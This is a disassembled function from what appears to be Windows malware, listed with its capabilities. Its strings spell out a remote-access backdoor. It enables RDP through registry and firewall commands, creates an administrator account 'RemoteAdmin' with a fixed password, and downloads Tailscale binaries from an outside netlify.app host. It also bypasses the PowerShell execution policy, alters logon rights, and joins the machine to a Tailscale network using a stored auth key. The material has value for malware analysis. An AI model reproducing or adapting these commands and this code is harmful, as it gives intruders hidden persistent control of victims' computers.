Function at 0x321451590
Capabilities:
Create directory
Create process on windows
Download url
Read file on windows
Receive data
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x80]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_add__hklm_systemcurrentcontrolsetcontrol_terminal_server___f__v_fDenyTSConnections__t_REG_DWORD__d_0
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_add__hklm_softwarepoliciesmicrosoftwindows_nt_terminal_services___f__v_fSingleSessionPerUser__t_REG_DWORD__d_0
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_add__hklm_softwarepoliciesmicrosoftwindows_nt_terminal_services___f__v_MaxInstanceCount__t_REG_DWORD__d_999999
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_add__hklm_systemcurrentcontrolsetcontrol_terminal_server___f__v_fSingleSessionPerUser__t_REG_DWORD__d_0
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_netsh_advfirewall_firewall_set_rule_group_remote_desktop__new_enableYes
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_sc_config_TermService_startauto
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_sc_stop_TermService
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_sc_start_TermService
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_net_user_RemoteAdmin_bababa__add
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_net_localgroup_administrators_RemoteAdmin__add
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_net_localgroup__Remote_Desktop_Users__RemoteAdmin__add
lea r8, str.cmd.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov edx, 0
lea rax, str.C:Program_FilesTS_
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
mov dword [rbp + 0x47c], 0
jmp 0x321451894
mov eax, dword [rbp + 0x47c]
cdqe
lea rdx, [rax*8]
lea rax, str.tailscale.exe
mov rcx, qword [rdx + rax]
mov rdx, qword [str.https:__papaya_valkyrie_70312d.netlify.app_]
lea rax, [rbp + 0x370]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov eax, dword [rbp + 0x47c]
cdqe
lea rdx, [rax*8]
lea rax, str.tailscale.exe
mov rdx, qword [rdx + rax]
lea rax, [rbp + 0x270]
mov r8, rdx
lea rdx, str.C:Program_FilesTS_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x370]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
add dword [rbp + 0x47c], 1
cmp dword [rbp + 0x47c], 5
jle 0x3214517ee
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._Command_Set_ExecutionPolicy__Scope_CurrentUser__ExecutionPolicy_Bypass__Force_
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._C:Program_FilesTSSet_UserRights.ps1___AddRight__Username_RemoteAdmin__UserRight_SeDenyInteractiveLogonRight
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._C:Program_FilesTSSet_UserRights.ps1___RemoveRight__Username_RemoteAdmin__UserRight_SeInteractiveLogonRight
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._i__o
lea r8, str.C:Program_FilesTSRDPWInst.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rdx, [rbp + 0x200]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x1f0], 0
mov dword [rbp + 0x200], 0x68
mov qword [rbp + 0x1e0], 0xffffffffffffffff
mov qword [rbp + 0x1e8], 0xffffffffffffffff
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:Program_FilesTS_tailscaled.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp - 0x24], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x80000000
lea rax, str.C:Program_FilesTS_tskey.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x470], rax
lea rcx, [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x470]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0xfa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x24]
mov eax, eax
mov byte [rbp + rax - 0x20], 0
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0xe0]
mov r8, rdx
lea rdx, str.up___unattended___authkey__s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.C:Program_FilesTS_tailscale.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x508
pop rdi
pop rbp
ret